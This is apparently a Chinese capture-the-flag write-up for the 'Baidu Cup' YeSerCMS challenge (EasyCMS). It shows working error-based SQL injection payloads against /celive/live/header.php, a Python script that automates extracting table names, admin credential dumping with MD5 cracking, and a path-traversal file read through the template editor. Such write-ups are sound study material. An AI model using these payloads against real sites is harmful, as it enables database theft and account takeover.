zoukankan      html  css  js  c++  java
  • “百度杯” YeSerCMS

    hint:新的CMS系统,帮忙测测是否有漏洞。
    ​ tips:flag在网站根目录下的flag.php中

    CMS

    内容管理系统(通常缩写为CMS)是帮助用户在网站上创建,管理和修改内容而无需专业技术知识的软件。内容管理系统作为一种工具,可以帮助构建网站,而无需从头开始编写所有代码

    常见判断网站cms方法

    1 .robots.txt文件
    2 .通过版权信息进行查询 (比如网站底部版权信息)
    3 .通过查看网页源码的方式
    4 .搜索引擎搜索关键内容
    5 .CMS扫描器
    6 .cms指纹识别

    cms会存在漏洞,百度搜索本题的YeSerCMS没有结果,猜测改名了

    在本题中通过逛网站文档下载一栏,随便点个文档进行下载,在网页底部的我要评论处可看到为EasyCMS

    EasyCMS是一套使用PHP语言编写的、可扩展的轻量级开源内容管理系统(CMS)。
    EasyCMS 1.5版本中的App/Modules/Admin/Tpl/default/Public/dwz/uploadify/scripts/uploadify.swf文件存在跨站脚本漏洞。远程攻击者可借助‘uploadifyID’或‘movieName’参数利用该漏洞注入任意的
    Web脚本或HTML。

    百度搜下easycms的漏洞,本题可利用无限制报错注入进行

    爆数据库:

    url: /celive/live/header.php
    post:
    
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
    
    

    爆表:

    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database() ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
    

    这里可以看到返回的数据是XPATH syntax error: '[yesercms_a_attachment,yesercms_'

    很明显表没有全部列出来,这里可以修改参数1或者py脚本解决

    py脚本如下:

    import requests
    url= 'http://340d45344c5345b7837232f683eac21005849e95f56547e6.changame.ichunqiu.com/celive/live/header.php'
    for i in range(1,999,31):     #这里的意思是从1开始,隔31各后再取,即i的第二个值为32,至于这里为什么是32,从Post和响应数据可以看出来
        postdata = {'xajax': 'Postdata', 'xajaxargs[0]': "<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),%s,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>" %str(i)}
        r = requests.post(url,data=postdata)
        print(r.content[22:53])
    
    

    有个yesercms_user表,尝试从这个表爆字段:

    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
    
    

    得到[admin|ff512d4240cbbdeafada40467

    猜测密码为MD5加密,但是位数不够,将1,32 改为 33,64

    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),33,64),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
    
    

    得到ccbe61

    拼接md5解密得Yeser231

    因此账号为admin,密码为Yeser231

    然后下一步就是重点了,怎么得到flag.php中的内容

    我们可以进入模板一栏的当前模板编辑,对服务器文件进行编辑

    因此使用burpsuite抓编辑的包,尝试修改id参数来读取flag.php,这里不清楚flag.php在几级目录可以依次尝试flag.php,../flag.php,../../flag.php,在../../flag.php时成功拿到flag

  • 相关阅读:
    chlick 在 blur 之后触发
    屏蔽运营商广告
    script标签清除缓存
    http-equiv 详解
    jqLite
    js 时间戳和转换-转载
    JS数组的常用方法
    js 前端实现文件流下载的几种方式
    解决兼容性的库
    移动端兼容性问题
  • 原文地址:https://www.cnblogs.com/NPFS/p/12996653.html
Copyright © 2011-2022 走看看